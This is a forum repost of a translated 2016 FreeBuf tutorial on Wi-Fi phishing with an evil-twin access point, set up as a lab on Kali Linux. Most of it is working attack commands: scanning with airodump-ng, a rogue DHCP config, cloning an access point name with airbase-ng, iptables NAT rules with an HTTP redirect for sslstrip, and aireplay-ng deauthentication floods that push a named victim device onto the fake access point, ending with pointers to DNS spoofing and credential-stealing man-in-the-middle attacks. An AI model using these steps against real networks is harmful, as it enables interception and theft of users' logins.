搜索

[9913] 2016-03-14_技术分享：WIFI钓鱼的入门姿势

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2016-03-14_技术分享：WIFI钓鱼的入门姿势 技 术 分 享 ： W I F I 钓 鱼 的 入 门 姿 势 东 二 门 陈 冠 希   F r e e B u f   2 0 1 6 - 0 3 - 1 4 简 介 简 介 该 实 验 先 是 搭 建 一 个 测 试 环 境 ， 然 后 创 建 一 个 假 的 无 线 接 入 点 ， 把 网 络 连 接 连 接 到 假 的 接 入 点 并 且 强 迫 用 户 连 接 假 该 实 验 先 是 搭 建 一 个 测 试 环 境 ， 然 后 创 建 一 个 假 的 无 线 接 入 点 ， 把 网 络 连 接 连 接 到 假 的 接 入 点 并 且 强 迫 用 户 连 接 假 的 无 线 点 。 的 无 线 点 。 事 先 准 备 事 先 准 备 1 . 无 线 网 卡 ： 无 线 网 卡 用 于 数 据 包 的 嗅 探 和 注 入 。 2 .   B a c k t r a c k 或 者 K a l i   L i n u x ：   攻 击 平 台 3 . 无 线 网 络 ： 确 保 该 无 线 由 用 户 使 用 ， 并 且 能 控 制 这 个 无 线 接 入 点 。 4 . 一 个 目 标 机 器 ： 这 个 机 器 可 以 是 你 的 物 理 机 或 者 虚 拟 机 。 本 次 实 验 中 用 到 的 是 W i n d o w s   7   虚 拟 机 开 始 实 验 ： 创 建 一 个 流 氓 接 入 点 开 始 实 验 ： 创 建 一 个 流 氓 接 入 点 第 一 步 ： 第 一 步 ： 启 动 虚 拟 机 ， 选 择 k a l i   l i n u x   。 点 击 ” 编 辑 虚 拟 机 设 置 （ E d i t   v i r t u a l   m a c h i n e   s e t t i n g s ） ” ， 进 入 到 “ 网 络 适 配 器 ( N e t w o r k   A d a p t e r ) ” 选 项 ， 在 网 络 连 接 中 选 择 “ 桥 接 ( B r i d g e d ) ” ： 第 二 步 ： 第 二 步 ： 开 启 k a l i   用 r o o t 账 户 登 录 。 第 三 步 ： 第 三 步 ： 连 接 笔 记 本 的 无 线 网 卡 。 确 保 在 R e m o v a b l e   D e v i c e s 选 项 下 的 无 线 网 卡 选 项 前 面 有 一 个 蓝 色 的 对 钩 。 如 果 没 有 ， 需 要 选 择 无 线 网 卡 来 让 无 线 网 卡 从 W i n d o w s 系 统 中 断 开 ， 连 接 到 k a l i   l i n u x 虚 拟 机 ， 如 下 图 所 示 ：
第 四 步 ： 第 四 步 ： 打 开 终 端 ， 输 入 如 下 命 令 检 查 I P 地 址 和 网 关 。   在 本 例 中 ， 网 关 是 1 9 2 . 1 6 8 . 0 . 1 第 五 步 ： 第 五 步 ： 先 是 用 以 下 命 令 列 出 所 有 网 卡 列 表 ， 如 下 图 ： 可 以 看 到 一 个 名 字 是 w l a n 5 的 网 卡 ， 就 是 这 个 了 。   第 六 步 ： 第 六 步 ： 检 查 下 用 户 附 近 的 无 线 A P 是 否 都 可 用 ， 用 如 下 命 令 ， 截 图 如 下 ： a i r o d u m p - n g   w l a n 5 这 个 命 令 后 将 会 开 始 捕 捉 数 据 包 ， 并 且 把 用 户 附 近 的 访 问 点 列 出 来 ， 其 中 B S S I D 是 无 线 A P 的 M A C 地 址 ， C h a n n e l 代 表 频 率 。 注 意 P W R 列 的 值 ， 越 靠 近 的 路 由 器 这 个 值 越 小 。  
第 七 步 ： 第 七 步 ： 记 下 A P 点 的 B S S I D   和 C h a n n e l 的 值 。 此 外 ， 还 要 记 下 目 标 设 备 的 M A C 地 址 。 在 这 个 例 子 中 ， B I S S I D 值 是 5 E : F 9 : 6 A : 2 9 : 2 8 : 1 8 ， C h a n n e l 的 值 是 2 。 目 标 机 器 的 M A C 地 址 是 6 8 : 5 D : 4 3 : 7 D : F 7 : E 9 第 八 步 ： 第 八 步 ： 我 们 必 须 建 立 一 个 假 的 D H C P 服 务 器 来 提 供 一 个 假 的 A P 接 入 点 。 在 k a l i 中 执 行 以 下 命 令 就 可 以 创 建 一 个 D H C P ： a p t - g e t   i n s t a l l   i s c - d h c p - s e r v e r 建 立 好 后 ， 修 改 D H C P 配 置 文 件 ， 如 下 ： l e a f p a d   / e t c / d h c p d . c o n f a u t h o r a i t a t i v e ; d e f a u l t - l e a s e - t i m e   6 0 0 ; m a x - l e a s e - t i m e   7 2 0 0 ; s u b n e t   1 9 2 . 1 6 8 . 1 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   { o p t i o n   r o u t e r s   1 9 2 . 1 6 8 . 1 . 1 ;
o p t i o n   s u b n e t - m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 ; o p t i o n   d o m a i n - n a m e   “ E p s o n _ P r i n t e r ” ; o p t i o n   d o m a i n - n a m e - s e r v e r s   1 9 2 . 1 6 8 . 1 . 1 ; r a n g e   1 9 2 . 1 6 8 . 1 . 2   1 9 2 . 1 6 8 . 1 . 4 0 ; } 保 存 并 关 闭 配 置 文 件 。 对 / e t c / d h c p d / d h c p d . c o n f 文 件 重 复 上 述 操 作 。 第 九 步 ： 第 九 步 ： 打 开 终 端 ， 执 行 以 下 命 令 ， 创 建 一 个 E S S I D 名 和 受 害 者 访 问 A P 相 似 的 A P 接 入 点 ， 例 子 中 我 们 用 “ E p s o n _ P r i n t e r ” 。 a i r b a s e - n g   – e   E p s o n _ P r i n t e r   - c   2   w l a n 5 l   e   是 A P 接 入 点 的 E S S I D （ M A C 地 址 ） l   c 是 无 线 网 络 的 频 率 l   W l a n 5 是 网 卡 名 现 在 ， 名 叫 “ E p s o n _ P r i n t e r ” 的 新 的 A P 接 入 点 创 建 完 成 。 第 十 步 ： 第 十 步 ： 现 在 ， 我 们 打 开 一 个 新 的 终 端 ， 开 始 监 控 这 个 钓 鱼 A P ， 执 行 如 下 命 令 ：
a i r o d u m p - n g   – b s s i d   0 0 : C 0 : C A : 7 0 : 8 F : 2 5   - C   2   w l a n   5   第 十 一 步 ： 第 十 一 步 ： 检 查 第 五 步 的 产 生 的 窗 口 ， 新 建 的 A P 接 入 点 应 该 是 可 以 看 见 的 ： 第 十 二 步 ： 第 十 二 步 ： 现 在 ， 我 们 必 须 向 网 络 提 供 这 个 假 的 无 线 A P 。 打 开 终 端 ， 依 次 输 入 如 下 命 令 ： ·     i f c o n f i g   a t 0   1 9 2 . 1 6 8 . 1 . 1   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 ·     i f c o n f i g   a t 0   m t u   1 4 0 0 ·     r o u t e   a d d   - n e t   1 9 2 . 1 6 8 . 1 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   g w   1 9 2 . 1 6 8 . 1 . 1 ·     i p t a b l e s   – f l u s h ·     i p t a b l e s   – t a b l e   n a t   – f l u s h ·     i p t a b l e s   – d e l e t e - c h a i n ·     i p t a b l e s   – t a b l e   n a t   – d e l e t e - c h a i n ·     e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / i p _ f o r w a r d ·     i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   u d p   - j   D N A T   – t o   1 9 2 . 1 6 8 . 0 . 1 ( g a t e w a y ) ·     i p t a b l e s   - P   F O R W A R D   A C C E P T
·     i p t a b l e s   – a p p e n d   F O R W A R D   – i n - i n t e r f a c e   a t 0   - j   A C C E P T ·     i p t a b l e s   – t a b l e   n a t   – a p p e n d   P O S T R O U T I N G   – o u t - i n t e r f a c e   e t h 0   - j   M A S Q U E R A D E ·     i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   – d e s t i n a t i o n - p o r t   8 0   - j   R E D I R E C T   – t o - p o r t   1 0 0 0 0 ·     d h c p d   - c f   / e t c / d h c p / d h c p d . c o n f   - p f   / v a r / r u n / d h c p d . p i d   a t 0 ·     / e t c / i n i t . d / i s c - d h c p - s e r v e r   s t a r t 第 十 三 步 ： 第 十 三 步 ： 我 们 可 以 等 待 别 人 连 接 这 个 假 的 无 线 A P ， 也 可 以 用 d e - a u t h e n t i c a t e 攻 击 强 行 迫 使 我 们 的 目 标 重 新 连 接 A P ， 这 样 我 们 就 能 乘 机 抓 包 。 我 们 可 以 用 以 下 命 令 来 执 行 ： a i r e p l a y - n g   – d e a u t h   0   - a   5 E : F 9 : 6 A : 2 9 : 2 8 : 1 8   - c   6 8 : 5 D : 4 3 : 7 D : F 7 : E 9   w l a n 5 5 E : F 9 : 6 A : 2 9 : 2 8 : 1 8   是 无 线 A P 的 M A C 地 址   0   代 表 进 行 d e - a u t h e n t i c a t i o n .   - c   是 目 标 机 器 的 M A C 地 址   w l a n 5   是 网 卡 以 下 截 图 中 可 以 看 到 ， 无 线 网 卡 正 在 发 送 d e - a u t h e n t i c a t i o n 数 据 包 给 目 标 无 线 A P 。 目 标 机 器 就 和 “ E p s o n _ P r i n t e r ”   连 接 点 断 开 了 ， 并 且 开 始 尝 试 重 新 连 接 ， 如 下 图 ：  
    第 十 四 步 ： 第 十 四 步 ： 由 于 连 续 发 送 d e a u t h 包 ， 客 户 端 一 直 无 法 连 接 到 原 来 的 无 线 A P ， 于 是 就 开 始 尝 试 连 接 其 他 最 强 的 无 线 A P ， 我 们 的 假 A P 信 号 很 强 ， 于 是 就 开 始 连 了 。 如 下 图 ： 第 十 五 步 ： 第 十 五 步 ： 查 看 a i r o d u m p - n g 命 令 窗 口 。 可 以 在 终 端 中 查 看 到 连 接 的 设 备 ：  
现 在 ， 受 害 者 的 设 备 已 经 连 接 到 我 们 的 假 的 无 线 A P 中 了 。 从 这 里 开 始 ， 攻 击 者 可 以 施 行 各 种 手 段 ， 比 如 说 D N S 欺 骗 用 户 连 接 一 个 假 的 网 站 ， 获 取 到 用 户 认 证 信 息 ， 或 者 用   s s l s t r i p   和 e t t e r c a p   进 行 中 间 人 攻 击 。 最 后 ： 这 篇 有 点 基 础 ， 大 家 凑 合 看 吧 。 轻 喷 ( づ ￣ 3 ￣ ) づ ╭ ❤ ～   * 参 考 来 源 ： r e s o u r c e s . i n f o s e c i n s t i t u t e ， F B 小 编 东 二 门 陈 冠 希 编 译 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理